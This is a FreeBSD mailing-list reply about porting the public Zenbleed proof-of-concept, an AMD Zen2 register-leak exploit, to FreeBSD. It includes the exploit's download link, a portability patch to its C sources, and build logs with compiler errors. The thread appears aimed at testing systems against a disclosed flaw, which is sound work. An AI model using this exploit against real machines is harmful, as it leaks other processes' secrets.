Re: Zenbleed

From: Jung-uk Kim <jkim_at_FreeBSD.org>
Date: Thu, 27 Jul 2023 20:03:42 UTC
On 23. 7. 27., mike tancsa wrote:
> On 7/27/2023 1:38 PM, Jung-uk Kim wrote:
>> I guess you checked out a wrong branch.  Please see the attached 
>> minimal patch I made for FreeBSD.  I think it will work on any 
>> supported FreeBSD branches.  Note the original exploit is available 
>> from here:
>>>
>>> https://lock.cmpxchg8b.com/files/zenbleed-v5.tar.gz
>>
>> With the forgotten attachment.
>>
>>
> Thanks!  A little farther on RELENG_12. I can compile on RELENG_13 ok. 
> With the patch do I still need to checkout Shawn's repo ? The patch 
> applies cleanly if I dont switch branches
> 
> 
> % git clone "https://git.hardenedbsd.org/shawn.webb/zenbleed"
> Cloning into 'zenbleed'...
> warning: redirecting to 
> https://git.hardenedbsd.org/shawn.webb/zenbleed.git/
> remote: Enumerating objects: 23, done.
> remote: Total 23 (delta 0), reused 0 (delta 0), pack-reused 23
> Receiving objects: 100% (23/23), 15.74 KiB | 15.74 MiB/s, done.
> Resolving deltas: 100% (8/8), done.
> % cd zenbleed/
> % git checkout origin/shawn.webb/bsd/main
> Note: switching to 'origin/shawn.webb/bsd/main'.
> 
> You are in 'detached HEAD' state. You can look around, make experimental
> changes and commit them, and you can discard any commits you make in this
> state without impacting any branches by switching back to a branch.
> 
> If you want to create a new branch to retain commits you create, you may
> do so (now or later) by using -c with the switch command. Example:
> 
>    git switch -c <new-branch-name>
> 
> Or undo this operation with:
> 
>    git switch -
> 
> Turn off this advice by setting config variable advice.detachedHead to 
> false
> 
> HEAD is now at 5f0b69b Import OpenBSD support patch
> % cat - > p
> --- zenbleed/pattern.c.orig     2023-07-23 10:45:32.000000000 -0400
> +++ zenbleed/pattern.c  2023-07-27 12:26:28.324346000 -0400
> @@ -6,13 +6,14 @@
>   #include <stdbool.h>
>   #include <x86intrin.h>
>   #include <sched.h>
> +#ifdef __linux__
>   #include <syscall.h>
> +#endif
>   #include <err.h>
>   #include <pthread.h>
>   #include <assert.h>
>   #include <ctype.h>
>   #include <signal.h>
> -#include <sys/sysinfo.h>
> 
>   #include "zenbleed.h"
> 
> @@ -82,7 +83,7 @@ void * pattern_leak_consumer(void *param)
>               }
>           }
> 
> -        fprintf(stdout, "%.*s", matchlen, matchptr);
> +        fprintf(stdout, "%.*s", (int)matchlen, matchptr);
> 
>           // If the match is bigger than our pattern size, we skip to 
> the end of it.
>           if (matchlen > patlen) {
> --- zenbleed/util.c.orig        2023-07-23 10:45:32.000000000 -0400
> +++ zenbleed/util.c     2023-07-27 13:26:09.509588000 -0400
> @@ -46,6 +46,9 @@ bool num_inrange(char *range, int num)
>   bool num_inrange(char *range, int num)
>   {
>       char *r, *s, *e;
> +#ifndef __linux__
> +    size_t len;
> +#endif
> 
>       // Example:
>       // 1,2,3,4-8,2
> @@ -53,7 +56,14 @@ bool num_inrange(char *range, int num)
>       if (range == NULL)
>           return false;
> 
> -    s = strtok_r(strdupa(range), ",", &r);
> +#ifndef __linux__
> +    len = strlen(range) + 1;
> +    s = alloca(len);
> +    memcpy(s, range, len);
> +#else
> +    s = strdupa(range);
> +#endif
> +    s = strtok_r(s, ",", &r);
> 
>       while (s) {
>           int start;
> --- zenbleed/zenbleed.c.orig    2023-07-23 10:45:32.000000000 -0400
> +++ zenbleed/zenbleed.c 2023-07-27 13:07:27.502780000 -0400
> @@ -6,13 +6,16 @@
>   #include <stdbool.h>
>   #include <x86intrin.h>
>   #include <sched.h>
> +#ifdef __FreeBSD__
> +#include <pthread_np.h>
> +#else
>   #include <syscall.h>
> +#endif
>   #include <err.h>
>   #include <pthread.h>
>   #include <assert.h>
>   #include <ctype.h>
>   #include <signal.h>
> -#include <sys/sysinfo.h>
> 
>   #include "zenbleed.h"
> 
> @@ -298,7 +301,7 @@ int main(int argc, char **argv) {
>       }
> 
>       // We spawn a thread on every evailable core and start leaking to 
> see what we get.
> -    ncpus   = get_nprocs();
> +    ncpus = sysconf(_SC_NPROCESSORS_ONLN);
>       thread_arg_t* args = calloc(sizeof(thread_arg_t), ncpus);
>       threads = calloc(sizeof(pthread_t), ncpus);
> 
> 
> % patch -p1 < p
> Hmm...  Looks like a unified diff to me...
> The text leading up to this was:
> --------------------------
> |--- zenbleed/pattern.c.orig    2023-07-23 10:45:32.000000000 -0400
> |+++ zenbleed/pattern.c 2023-07-27 12:26:28.324346000 -0400
> --------------------------
> Patching file pattern.c using Plan A...
> Hunk #1 failed at 6.
> Hunk #2 failed at 83.
> 2 out of 2 hunks failed--saving rejects to pattern.c.rej
> Hmm...  The next patch looks like a unified diff to me...
> The text leading up to this was:
> --------------------------
> |--- zenbleed/util.c.orig       2023-07-23 10:45:32.000000000 -0400
> |+++ zenbleed/util.c    2023-07-27 13:26:09.509588000 -0400
> --------------------------
> Patching file util.c using Plan A...
> Hunk #1 failed at 46.
> Hunk #2 failed at 56.
> 2 out of 2 hunks failed--saving rejects to util.c.rej
> Hmm...  The next patch looks like a unified diff to me...
> The text leading up to this was:
> --------------------------
> |--- zenbleed/zenbleed.c.orig   2023-07-23 10:45:32.000000000 -0400
> |+++ zenbleed/zenbleed.c        2023-07-27 13:07:27.502780000 -0400
> --------------------------
> Patching file zenbleed.c using Plan A...
> Hunk #1 failed at 6.
> Hunk #2 failed at 301.
> 2 out of 2 hunks failed--saving rejects to zenbleed.c.rej
> Hmm...  Ignoring the trailing garbage.
> done
> % gmake
> nasm  -O0 -felf64 -o zenleak.o zenleak.asm
> cc -O0 -ggdb3 -march=znver2 -DNCPUS=16   -c -o pattern.o pattern.c
> cc -O0 -ggdb3 -march=znver2 -DNCPUS=16   -c -o workqueue.o workqueue.c
> cc -O0 -ggdb3 -march=znver2 -DNCPUS=16   -c -o util.o util.c
> cc -O0 -ggdb3 -march=znver2 -DNCPUS=16  -pthread -Wl,-z,noexecstack 
> zenbleed.c zenleak.o pattern.o workqueue.o util.o   -o zenbleed
> zenbleed.c:141:15: warning: implicit declaration of function 
> 'sched_getcpu' is invalid in C99 [-Wimplicit-function-declaration]
>      int cpu = sched_getcpu();
>                ^
> zenbleed.c:192:15: warning: implicit declaration of function 
> 'sched_getcpu' is invalid in C99 [-Wimplicit-function-declaration]
>      int cpu = sched_getcpu();
>                ^
> zenbleed.c:218:5: error: unknown type name 'cpu_set_t'; did you mean 
> 'cpuset_t'?
>      cpu_set_t set;
>      ^~~~~~~~~
>      cpuset_t
> /usr/include/sys/_cpuset.h:50:24: note: 'cpuset_t' declared here
> typedef struct _cpuset cpuset_t;
>                         ^
> zenbleed.c:226:51: error: use of undeclared identifier 'cpu_set_t'
>      if (pthread_attr_setaffinity_np(&attr, sizeof(cpu_set_t), &set) != 0)
>                                                    ^
> 2 warnings and 2 errors generated.
> gmake: *** [<builtin>: zenbleed] Error 1
> %
> 
> 
> It applies clean if I dont switch branches
> 
> % git clone "https://git.hardenedbsd.org/shawn.webb/zenbleed"
> Cloning into 'zenbleed'...
> warning: redirecting to 
> https://git.hardenedbsd.org/shawn.webb/zenbleed.git/
> remote: Enumerating objects: 23, done.
> remote: Total 23 (delta 0), reused 0 (delta 0), pack-reused 23
> Receiving objects: 100% (23/23), 15.74 KiB | 15.74 MiB/s, done.
> Resolving deltas: 100% (8/8), done.
> % cd zenbleed/
> % cat - > p
> --- zenbleed/pattern.c.orig     2023-07-23 10:45:32.000000000 -0400
> +++ zenbleed/pattern.c  2023-07-27 12:26:28.324346000 -0400
> @@ -6,13 +6,14 @@
>   #include <stdbool.h>
>   #include <x86intrin.h>
>   #include <sched.h>
> +#ifdef __linux__
>   #include <syscall.h>
> +#endif
>   #include <err.h>
>   #include <pthread.h>
>   #include <assert.h>
>   #include <ctype.h>
>   #include <signal.h>
> -#include <sys/sysinfo.h>
> 
>   #include "zenbleed.h"
> 
> @@ -82,7 +83,7 @@ void * pattern_leak_consumer(void *param)
>               }
>           }
> 
> -        fprintf(stdout, "%.*s", matchlen, matchptr);
> +        fprintf(stdout, "%.*s", (int)matchlen, matchptr);
> 
>           // If the match is bigger than our pattern size, we skip to 
> the end of it.
>           if (matchlen > patlen) {
> --- zenbleed/util.c.orig        2023-07-23 10:45:32.000000000 -0400
> +++ zenbleed/util.c     2023-07-27 13:26:09.509588000 -0400
> @@ -46,6 +46,9 @@ bool num_inrange(char *range, int num)
>   bool num_inrange(char *range, int num)
>   {
>       char *r, *s, *e;
> +#ifndef __linux__
> +    size_t len;
> +#endif
> 
>       // Example:
>       // 1,2,3,4-8,2
> @@ -53,7 +56,14 @@ bool num_inrange(char *range, int num)
>       if (range == NULL)
>           return false;
> 
> -    s = strtok_r(strdupa(range), ",", &r);
> +#ifndef __linux__
> +    len = strlen(range) + 1;
> +    s = alloca(len);
> +    memcpy(s, range, len);
> +#else
> +    s = strdupa(range);
> +#endif
> +    s = strtok_r(s, ",", &r);
> 
>       while (s) {
>           int start;
> --- zenbleed/zenbleed.c.orig    2023-07-23 10:45:32.000000000 -0400
> +++ zenbleed/zenbleed.c 2023-07-27 13:07:27.502780000 -0400
> @@ -6,13 +6,16 @@
>   #include <stdbool.h>
>   #include <x86intrin.h>
>   #include <sched.h>
> +#ifdef __FreeBSD__
> +#include <pthread_np.h>
> +#else
>   #include <syscall.h>
> +#endif
>   #include <err.h>
>   #include <pthread.h>
>   #include <assert.h>
>   #include <ctype.h>
>   #include <signal.h>
> -#include <sys/sysinfo.h>
> 
>   #include "zenbleed.h"
> 
> @@ -298,7 +301,7 @@ int main(int argc, char **argv) {
>       }
> 
>       // We spawn a thread on every evailable core and start leaking to 
> see what we get.
> -    ncpus   = get_nprocs();
> +    ncpus = sysconf(_SC_NPROCESSORS_ONLN);
>       thread_arg_t* args = calloc(sizeof(thread_arg_t), ncpus);
>       threads = calloc(sizeof(pthread_t), ncpus);
> 
> % patch -p1 < p
> Hmm...  Looks like a unified diff to me...
> The text leading up to this was:
> --------------------------
> |--- zenbleed/pattern.c.orig    2023-07-23 10:45:32.000000000 -0400
> |+++ zenbleed/pattern.c 2023-07-27 12:26:28.324346000 -0400
> --------------------------
> Patching file pattern.c using Plan A...
> Hunk #1 succeeded at 6.
> Hunk #2 succeeded at 83.
> Hmm...  The next patch looks like a unified diff to me...
> The text leading up to this was:
> --------------------------
> |--- zenbleed/util.c.orig       2023-07-23 10:45:32.000000000 -0400
> |+++ zenbleed/util.c    2023-07-27 13:26:09.509588000 -0400
> --------------------------
> Patching file util.c using Plan A...
> Hunk #1 succeeded at 46.
> Hunk #2 succeeded at 56.
> Hmm...  The next patch looks like a unified diff to me...
> The text leading up to this was:
> --------------------------
> |--- zenbleed/zenbleed.c.orig   2023-07-23 10:45:32.000000000 -0400
> |+++ zenbleed/zenbleed.c        2023-07-27 13:07:27.502780000 -0400
> --------------------------
> Patching file zenbleed.c using Plan A...
> Hunk #1 succeeded at 6.
> Hunk #2 succeeded at 301.
> done
> % gmake
> nasm  -O0 -felf64 -o zenleak.o zenleak.asm
> cc -O0 -ggdb3 -march=znver2   -c -o pattern.o pattern.c
> cc -O0 -ggdb3 -march=znver2   -c -o workqueue.o workqueue.c
> cc -O0 -ggdb3 -march=znver2   -c -o util.o util.c
> cc -O0 -ggdb3 -march=znver2  -pthread -Wl,-z,noexecstack zenbleed.c 
> zenleak.o pattern.o workqueue.o util.o   -o zenbleed
> zenbleed.c:140:15: warning: implicit declaration of function 
> 'sched_getcpu' is invalid in C99 [-Wimplicit-function-declaration]
>      int cpu = sched_getcpu();
>                ^
> zenbleed.c:142:5: error: unknown type name 'cpu_set_t'; did you mean 
> 'cpuset_t'?
>      cpu_set_t mask;
>      ^~~~~~~~~
>      cpuset_t
> /usr/include/sys/_cpuset.h:50:24: note: 'cpuset_t' declared here
> typedef struct _cpuset cpuset_t;
>                         ^
> zenbleed.c:182:15: warning: implicit declaration of function 
> 'sched_getcpu' is invalid in C99 [-Wimplicit-function-declaration]
>      int cpu = sched_getcpu();
>                ^
> zenbleed.c:202:5: error: unknown type name 'cpu_set_t'; did you mean 
> 'cpuset_t'?
>      cpu_set_t set;
>      ^~~~~~~~~
>      cpuset_t
> /usr/include/sys/_cpuset.h:50:24: note: 'cpuset_t' declared here
> typedef struct _cpuset cpuset_t;
>                         ^
> zenbleed.c:210:51: error: use of undeclared identifier 'cpu_set_t'
>      if (pthread_attr_setaffinity_np(&attr, sizeof(cpu_set_t), &set) != 0)
>                                                    ^
> 2 warnings and 3 errors generated.
> gmake: *** [<builtin>: zenbleed] Error 1
> %

Please try the attached patch.  It should fix the sched_getcpu() issue.

Jung-uk Kim